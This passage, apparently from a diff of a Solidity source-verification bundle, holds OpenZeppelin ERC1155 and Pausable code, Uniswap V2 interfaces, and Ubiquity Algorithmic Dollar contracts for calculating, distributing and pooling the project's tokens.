_beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n function _doSafeTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _doSafeBatchTransferAcceptanceCheck(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n if (to.isContract()) {\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\n bytes4 response\n ) {\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\n revert(\"ERC1155: ERC1155Receiver rejected tokens\");\n }\n } catch Error(string memory reason) {\n revert(reason);\n } catch {\n revert(\"ERC1155: transfer to non ERC1155Receiver implementer\");\n }\n }\n }\n\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n\n return array;\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\n\n/**\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\n * own tokens and those that they have been approved to use.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Burnable is ERC1155 {\n function burn(\n address account,\n uint256 id,\n uint256 value\n ) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burn(account, id, value);\n }\n\n function burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory values\n ) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burnBatch(account, ids, values);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC1155 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Pausable is ERC1155, Pausable {\n /**\n * @dev See {ERC1155-_beforeTokenTransfer}.\n *\n * Requirements:\n *\n * - the contract must not be paused.\n */\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n require(!paused(), \"ERC1155Pausable: token transfer while paused\");\n }\n}\n" - }, - "contracts/utils/SafeAddArray.sol": { - "content": "// SPDX-License-Identifier: MIT\n\n// SPDX-License-Identifier: EUPL V1.2\npragma solidity ^0.8.3;\n\n/**\n * @dev Wrappers over Solidity's array push operations with added check\n *\n */\nlibrary SafeAddArray {\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n */\n function add(bytes32[] storage array, bytes32 value) internal {\n for (uint256 i; i < array.length; i++) {\n if (array[i] == value) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(string[] storage array, string memory value) internal {\n bytes32 hashValue = keccak256(bytes(value));\n for (uint256 i; i < array.length; i++) {\n if (keccak256(bytes(array[i])) == hashValue) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(uint256[] storage array, uint256 value) internal {\n for (uint256 i; i < array.length; i++) {\n if (array[i] == value) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(uint256[] storage array, uint256[] memory values) internal {\n for (uint256 i; i < values.length; i++) {\n bool exist = false;\n for (uint256 j; j < array.length; j++) {\n if (array[j] == values[i]) {\n exist = true;\n break;\n }\n }\n if (!exist) {\n array.push(values[i]);\n }\n }\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155.sol\";\n\n/**\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155MetadataURI is IERC1155 {\n /**\n * @dev Returns the URI for token type `id`.\n *\n * If the `\\{id\\}` substring is present in the URI, it must be replaced by\n * clients with the actual token type ID.\n */\n function uri(uint256 id) external view returns (string memory);\n}\n" - }, - "@openzeppelin/contracts/security/Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract Pausable is Context {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n constructor() {\n _paused = false;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n require(!paused(), \"Pausable: paused\");\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n require(paused(), \"Pausable: not paused\");\n _;\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n}\n" - }, - "contracts/UARForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\ncontract UARForDollarsCalculator is IUARForDollarsCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n uint256 private _coef = 1 ether;\n\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\n \"UARCalc: not admin\"\n );\n _;\n }\n\n /// @param _manager the address of the manager/config contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n /// @notice set the constant for uAR calculation\n /// @param coef new constant for uAR calculation in ETH format\n /// @dev a coef of 1 ether means 1\n function setConstant(uint256 coef) external onlyAdmin {\n _coef = coef;\n }\n\n /// @notice get the constant for uAR calculation\n function getConstant() external view returns (uint256) {\n return _coef;\n }\n\n // dollarsToBurn * (blockheight_debt/blockheight_burn) * _coef\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\n external\n view\n override\n returns (uint256)\n {\n require(\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\n IERC20(manager.dollarTokenAddress()).totalSupply(),\n \"uAR to Dollar: DEBT_TOO_HIGH\"\n );\n bytes16 coef = _coef.fromUInt().div((uint256(1 ether)).fromUInt());\n bytes16 curBlock = uint256(block.number).fromUInt();\n bytes16 multiplier = blockHeightDebt.fromUInt().div(curBlock);\n // x^a = e^(a*lnx(x)) so multiplier^(_coef) = e^(_coef*lnx(multiplier))\n bytes16 op = (coef.mul(multiplier.ln())).exp();\n uint256 res = dollarsToBurn.fromUInt().mul(op).toUInt();\n return res;\n }\n}\n" - }, - "contracts/UbiquityFormulas.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./libs/ABDKMathQuad.sol\";\n\ncontract UbiquityFormulas {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n /// @dev formula duration multiply\n /// @param _uLP , amount of LP tokens\n /// @param _weeks , mimimun duration of staking period\n /// @param _multiplier , bonding discount multiplier = 0.0001\n /// @return _shares , amount of shares\n /// @notice _shares = (1 + _multiplier * _weeks^3/2) * _uLP\n // D32 = D^3/2\n // S = m * D32 * A + A\n function durationMultiply(\n uint256 _uLP,\n uint256 _weeks,\n uint256 _multiplier\n ) public pure returns (uint256 _shares) {\n bytes16 unit = uint256(1 ether).fromUInt();\n bytes16 d = _weeks.fromUInt();\n bytes16 d32 = (d.mul(d).mul(d)).sqrt();\n bytes16 m = _multiplier.fromUInt().div(unit); // 0.0001\n bytes16 a = _uLP.fromUInt();\n\n _shares = m.mul(d32).mul(a).add(a).toUInt();\n }\n\n /// @dev formula bonding\n /// @param _shares , amount of shares\n /// @param _currentShareValue , current share value\n /// @param _targetPrice , target uAD price\n /// @return _uBOND , amount of bonding shares\n /// @notice UBOND = _shares / _currentShareValue * _targetPrice\n // newShares = A / V * T\n function bonding(\n uint256 _shares,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) public pure returns (uint256 _uBOND) {\n bytes16 a = _shares.fromUInt();\n bytes16 v = _currentShareValue.fromUInt();\n bytes16 t = _targetPrice.fromUInt();\n\n _uBOND = a.div(v).mul(t).toUInt();\n }\n\n /// @dev formula redeem bonds\n /// @param _uBOND , amount of bonding shares\n /// @param _currentShareValue , current share value\n /// @param _targetPrice , target uAD price\n /// @return _uLP , amount of LP tokens\n /// @notice _uLP = _uBOND * _currentShareValue / _targetPrice\n // _uLP = A * V / T\n function redeemBonds(\n uint256 _uBOND,\n uint256 _currentShareValue,\n uint256 _targetPrice\n ) public pure returns (uint256 _uLP) {\n bytes16 a = _uBOND.fromUInt();\n bytes16 v = _currentShareValue.fromUInt();\n bytes16 t = _targetPrice.fromUInt();\n\n _uLP = a.mul(v).div(t).toUInt();\n }\n\n /// @dev formula bond price\n /// @param _totalULP , total LP tokens\n /// @param _totalUBOND , total bond shares\n /// @param _targetPrice , target uAD price\n /// @return _priceUBOND , bond share price\n /// @notice\n // IF _totalUBOND = 0 priceBOND = TARGET_PRICE\n // ELSE priceBOND = totalLP / totalShares * TARGET_PRICE\n // R = T == 0 ? 1 : LP / S\n // P = R * T\n function bondPrice(\n uint256 _totalULP,\n uint256 _totalUBOND,\n uint256 _targetPrice\n ) public pure returns (uint256 _priceUBOND) {\n bytes16 lp = _totalULP.fromUInt();\n bytes16 s = _totalUBOND.fromUInt();\n bytes16 r = _totalUBOND == 0 ? uint256(1).fromUInt() : lp.div(s);\n bytes16 t = _targetPrice.fromUInt();\n\n _priceUBOND = r.mul(t).toUInt();\n }\n\n /// @dev formula ugov multiply\n /// @param _multiplier , initial ugov min multiplier\n /// @param _price , current share price\n /// @return _newMultiplier , new ugov min multiplier\n /// @notice new_multiplier = multiplier * ( 1.05 / (1 + abs( 1 - price ) ) )\n // nM = M * C / A\n // A = ( 1 + abs( 1 - P)))\n // 5 >= multiplier >= 0.2\n function ugovMultiply(uint256 _multiplier, uint256 _price)\n public\n pure\n returns (uint256 _newMultiplier)\n {\n bytes16 m = _multiplier.fromUInt();\n bytes16 p = _price.fromUInt();\n bytes16 c = uint256(105 * 1e16).fromUInt(); // 1.05\n bytes16 u = uint256(1e18).fromUInt(); // 1\n bytes16 a = u.add(u.sub(p).abs()); // 1 + abs( 1 - P )\n\n _newMultiplier = m.mul(c).div(a).toUInt(); // nM = M * C / A\n\n // 5 >= multiplier >= 0.2\n if (_newMultiplier > 5e18 || _newMultiplier < 2e17)\n _newMultiplier = _multiplier;\n }\n}\n" - }, - "contracts/ExcessDollarsDistributor.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IERC20Ubiquity.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\";\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\";\nimport \"./interfaces/IExcessDollarsDistributor.sol\";\nimport \"./interfaces/IMetaPool.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./SushiSwapPool.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title An excess dollar distributor which sends dollars to treasury,\n/// lp rewards and inflation rewards\ncontract ExcessDollarsDistributor is IExcessDollarsDistributor {\n using SafeERC20 for IERC20Ubiquity;\n using SafeERC20 for IERC20;\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n uint256 private immutable _minAmountToDistribute = 100 ether;\n IUniswapV2Router02 private immutable _router =\n IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiV2Router02\n\n /// @param _manager the address of the manager contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function distributeDollars() external override {\n //the excess dollars which were sent to this contract by the coupon manager\n uint256 excessDollars = IERC20Ubiquity(manager.dollarTokenAddress())\n .balanceOf(address(this));\n if (excessDollars > _minAmountToDistribute) {\n address treasuryAddress = manager.treasuryAddress();\n\n // curve uAD-3CRV liquidity pool\n uint256 tenPercent = excessDollars\n .fromUInt()\n .div(uint256(10).fromUInt())\n .toUInt();\n uint256 fiftyPercent = excessDollars\n .fromUInt()\n .div(uint256(2).fromUInt())\n .toUInt();\n IERC20Ubiquity(manager.dollarTokenAddress()).safeTransfer(\n treasuryAddress,\n fiftyPercent\n );\n // convert uAD to uGOV-UAD LP on sushi and burn them\n _governanceBuyBackLPAndBurn(tenPercent);\n // convert remaining uAD to curve LP tokens\n // and transfer the curve LP tokens to the bonding contract\n _convertToCurveLPAndTransfer(\n excessDollars - fiftyPercent - tenPercent\n );\n }\n }\n\n // swap half amount to uGOV\n function _swapDollarsForGovernance(bytes16 amountIn)\n internal\n returns (uint256)\n {\n address[] memory path = new address[](2);\n path[0] = manager.dollarTokenAddress();\n path[1] = manager.governanceTokenAddress();\n uint256[] memory amounts = _router.swapExactTokensForTokens(\n amountIn.toUInt(),\n 0,\n path,\n address(this),\n block.timestamp + 100\n );\n\n return amounts[1];\n }\n\n // buy-back and burn uGOV\n function _governanceBuyBackLPAndBurn(uint256 amount) internal {\n bytes16 amountUAD = (amount.fromUInt()).div(uint256(2).fromUInt());\n\n // we need to approve sushi router\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n address(_router),\n 0\n );\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n address(_router),\n amount\n );\n uint256 amountUGOV = _swapDollarsForGovernance(amountUAD);\n\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\n address(_router),\n 0\n );\n IERC20Ubiquity(manager.governanceTokenAddress()).safeApprove(\n address(_router),\n amountUGOV\n );\n\n // deposit liquidity and transfer to zero address (burn)\n _router.addLiquidity(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress(),\n amountUAD.toUInt(),\n amountUGOV,\n 0,\n 0,\n address(0),\n block.timestamp + 100\n );\n }\n\n // @dev convert to curve LP\n // @param amount to convert to curve LP by swapping to 3CRV\n // and deposit the 3CRV as liquidity to get uAD-3CRV LP tokens\n // the LP token are sent to the bonding contract\n function _convertToCurveLPAndTransfer(uint256 amount)\n internal\n returns (uint256)\n {\n // we need to approve metaPool\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n 0\n );\n IERC20Ubiquity(manager.dollarTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n amount\n );\n\n // swap amount of uAD => 3CRV\n uint256 amount3CRVReceived = IMetaPool(\n manager.stableSwapMetaPoolAddress()\n ).exchange(0, 1, amount, 0);\n\n // approve metapool to transfer our 3CRV\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n 0\n );\n IERC20(manager.curve3PoolTokenAddress()).safeApprove(\n manager.stableSwapMetaPoolAddress(),\n amount3CRVReceived\n );\n\n // deposit liquidity\n uint256 res = IMetaPool(manager.stableSwapMetaPoolAddress())\n .add_liquidity(\n [0, amount3CRVReceived],\n 0,\n manager.bondingContractAddress()\n );\n // update TWAP price\n return res;\n }\n}\n" - }, - "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol": { - "content": "pragma solidity >=0.5.0;\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n function symbol() external pure returns (string memory);\n function decimals() external pure returns (uint8);\n function totalSupply() external view returns (uint);\n function balanceOf(address owner) external view returns (uint);\n function allowance(address owner, address spender) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n function transfer(address to, uint value) external returns (bool);\n function transferFrom(address from, address to, uint value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n function nonces(address owner) external view returns (uint);\n\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n function factory() external view returns (address);\n function token0() external view returns (address);\n function token1() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n function price0CumulativeLast() external view returns (uint);\n function price1CumulativeLast() external view returns (uint);\n function kLast() external view returns (uint);\n\n function mint(address to) external returns (uint liquidity);\n function burn(address to) external returns (uint amount0, uint amount1);\n function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;\n function skim(address to) external;\n function sync() external;\n\n function initialize(address, address) external;\n}\n" - }, - "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol": { - "content": "pragma solidity >=0.6.2;\n\nimport './IUniswapV2Router01.sol';\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n" - }, - "contracts/interfaces/IExcessDollarsDistributor.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for distributing excess dollars to relevant places\ninterface IExcessDollarsDistributor {\n function distributeDollars() external;\n}\n" - }, - "contracts/SushiSwapPool.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\";\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\n\ncontract SushiSwapPool {\n IUniswapV2Factory public factory =\n IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac);\n\n UbiquityAlgorithmicDollarManager public manager;\n IUniswapV2Pair public pair;\n\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n require(\n manager.dollarTokenAddress() != address(0),\n \"Dollar address not set\"\n );\n require(\n manager.governanceTokenAddress() != address(0),\n \"uGOV Address not set\"\n );\n // check if pair already exist\n address pool = factory.getPair(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress()\n );\n if (pool == address(0)) {\n pool = factory.createPair(\n manager.dollarTokenAddress(),\n manager.governanceTokenAddress()\n );\n }\n pair = IUniswapV2Pair(pool);\n }\n}\n" - }, - "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol": { - "content": "pragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n" - }, - "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol": { - "content": "pragma solidity >=0.5.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n function feeTo() external view returns (address);\n function feeToSetter() external view returns (address);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n function allPairs(uint) external view 